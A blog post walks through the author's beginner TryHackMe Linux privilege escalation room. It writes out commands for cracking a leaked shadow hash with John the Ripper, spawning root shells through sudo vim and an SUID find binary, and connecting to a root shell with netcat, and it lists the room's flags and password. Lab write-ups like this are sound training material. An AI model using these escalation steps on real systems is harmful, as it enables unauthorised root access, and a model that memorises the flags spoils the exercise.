The Blackout Protocol π
"NovaCorp is hiding something. You've got one shot to get in, escalate, and expose them before they wipe everything at midnight."
This is a beginner-friendly Linux privilege escalation room I built on TryHackMe. It covers 5 real-world techniques that penetration testers use every day β SSH enumeration, password cracking, sudo misconfigurations, SUID binary abuse, and exploiting misconfigured services.
If you're just getting started with Linux privesc, this room is perfect for you.
Room link: https://tryhackme.com/room/theblackoutprotocol
π§° What You'll Need
- π A Kali Linux machine (or any Linux attacking machine)
- π₯οΈ Basic familiarity with the Linux terminal
- π¨ John the Ripper (pre-installed on Kali)
- π Netcat (pre-installed on Kali)
- π― A TryHackMe account with the room deployed
π The Story
You're playing the role of a whistleblower's contact. A low-level employee at NovaCorp β a shady tech company β has given you their SSH credentials. They've told you there's evidence of illegal data stored on an internal server, but they don't have root access to find it.
Your job: get in as intern, escalate your way to root, find the evidence, and get out.
π© Task 1 β Getting In
What's happening here?
This task teaches you the basics of SSH access and Linux enumeration. When you first land on a machine as a low-privilege user, the first thing you should always do is look around β check what files are in your home directory, what groups you belong to, and what other users exist on the system.
π£ Steps
- Step 1 β Connect to the machine via SSH:
ssh intern@MACHINE_IP
password: novacorp1
- Step 2 β Look around your home directory:
ls -la
- Step 3 β Read the first flag:
cat flag1.txt
- Step 4 β Check what other users exist:
cat /etc/passwd | grep /bin/bash
π‘ You'll also notice a file called
employees.bakβ keep that in mind for the next task!
β Result
Flag 1: THM{w3lc0me_t0_n0v4c0rp}
π© Task 2 β Who Are You?
What's happening here?
The employees.bak file contains a Linux shadow hash β a hashed version of a user's password. In real penetration tests, finding backup files like this is extremely common. Sysadmins often leave password backups lying around without realising how dangerous they are. We'll crack it offline using John the Ripper.
π£ Steps
- Step 1 β Look at the backup file:
cat employees.bak
You'll see something like:
sysadmin:$y$j9T$...:20585:0:99999:7:::
- Step 2 β Copy it to your attacking machine:
scp intern@MACHINE_IP:~/employees.bak .
- Step 3 β Crack the hash with John the Ripper:
john --wordlist=/usr/share/wordlists/rockyou.txt employees.bak
- Step 4 β View the cracked password:
john --show employees.bak
- Step 5 β SSH in as sysadmin:
ssh sysadmin@MACHINE_IP
password: rockstar
β οΈ Lesson learned: Never leave password hash backups in world-readable locations. Ever.
β Result
Cracked password: rockstar
π© Task 3 β Sudo Slip-Up
What's happening here?
One of the most common privilege escalation vectors in real environments is sudo misconfiguration. Administrators sometimes grant users the ability to run specific programs as root β but if they're not careful, those programs can be exploited to spawn a root shell. We'll check sudo permissions and exploit vim using GTFObins.
π£ Steps
- Step 1 β Check sudo permissions as intern:
sudo -l
You'll see:
(ALL) NOPASSWD: /usr/bin/vim
- Step 2 β Exploit vim to get a root shell:
sudo vim -c ':!/bin/bash'
- Step 3 β Verify you're root:
whoami
- Step 4 β Read the flag:
cat /var/log/novacorp/flag2.txt
β οΈ Lesson learned: Never give users NOPASSWD sudo access to text editors, compilers, or interpreters. They can all spawn shells. Always check https://gtfobins.github.io for what can be exploited.
β Result
Flag 2: THM{sud0_m1sc0nf1g_pwned}
π© Task 4 β Sticky Fingers
What's happening here?
SUID (Set User ID) is a Linux permission that allows a file to be executed with the permissions of its owner rather than the user running it. If a binary owned by root has the SUID bit set, running it gives you root-level execution β even as a normal user. This misconfiguration is surprisingly common in real environments.
π£ Steps
- Step 1 β Search the system for SUID binaries:
find / -perm -4000 2>/dev/null
You'll spot
/usr/bin/find_bakβ a copy of find with SUID set
- Step 2 β Exploit it using GTFObins:
/usr/bin/find_bak . -exec /bin/bash -p \; -quit
The
-pflag preserves the elevated privileges
- Step 3 β Verify you're root:
whoami
- Step 4 β Read the flag:
cat /root/novacorp_secrets.txt
β οΈ Lesson learned: Audit your SUID binaries regularly. No custom binary should ever have the SUID bit set unless absolutely necessary.
β Result
Flag 3: THM{su1d_b1n4ry_expl01ted}
π© Task 5 β The Backdoor
What's happening here?
Sometimes during a penetration test you discover a service running on an unusual port. In this case NovaCorp's server has a misconfigured service running as root on port 4444 β essentially an open root shell that anyone can connect to. Always check what's listening internally, not just externally.
π£ Steps
- Step 1 β Check what ports are open internally:
ss -tlnp
You'll see:
LISTEN 0.0.0.0:4444
- Step 2 β Connect from your attacking machine:
nc MACHINE_IP 4444
- Step 3 β You'll land in a root shell. Read the final flag:
cat /root/final_evidence.txt
β οΈ Lesson learned: Never run services as root unless absolutely necessary. Always firewall internal ports. A misconfigured service running as root is a complete system compromise.
β Result
Flag 4: THM{r00t_sh3ll_0wned_n0v4c0rp}
π Summary
| Task | Technique | Key Command | Flag |
|---|---|---|---|
| Task 1 | SSH enumeration | ls -la |
THM{w3lc0me_t0_n0v4c0rp} |
| Task 2 | Password cracking | john --wordlist=rockyou.txt |
SSH as sysadmin |
| Task 3 | Sudo misconfiguration | sudo vim -c ':!/bin/bash' |
THM{sud0_m1sc0nf1g_pwned} |
| Task 4 | SUID binary abuse | find_bak . -exec /bin/bash -p |
THM{su1d_b1n4ry_expl01ted} |
| Task 5 | Netcat backdoor | nc MACHINE_IP 4444 |
THM{r00t_sh3ll_0wned_n0v4c0rp} |
π§ Key Takeaways
- π Always enumerate thoroughly when you first land on a machine
- π Backup files left in readable locations can expose password hashes
- βοΈ Check sudo permissions with
sudo -lβ misconfigurations are incredibly common - π΄ SUID binaries can be abused to escalate privileges β always check with
find / -perm -4000 - π Check open ports internally β not just externally β with
ss -tlnp - π GTFObins (https://gtfobins.github.io) is your best friend for privesc
Room created on TryHackMe β give it a try!
π https://tryhackme.com/room/theblackoutprotocol
Top comments (0)